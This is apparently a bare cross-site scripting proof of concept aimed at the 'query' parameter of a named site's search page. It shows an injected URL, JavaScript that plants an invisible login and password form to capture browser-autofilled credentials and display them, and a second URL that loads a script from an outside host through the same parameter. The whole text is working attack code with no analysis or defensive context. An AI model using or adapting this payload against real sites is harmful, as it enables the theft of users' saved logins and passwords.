http://web20.a.ua/slovo?query=[XSS]&stype=word

document.getElementById('radio').innerHTML = '<form action="?" method="POST"><input id="login" type="text" name="login" style="width: 0px; height: 0px; border: 0px"><input type="password" id="password" name="password" style="width: 0px; height: 0px; border: 0px"><input type='submit'></form>
interval = setInterval('check()', 100);
window.stop();

function check() {
	l = document.getElementById('login').value;
	p = document.getElementById('password').value;
	if (l!='') {
		alert(l+"/"+p);
	}
}

http://web20.a.ua/slovo?query=<script src="host.ru/file.js"></script>&stype=word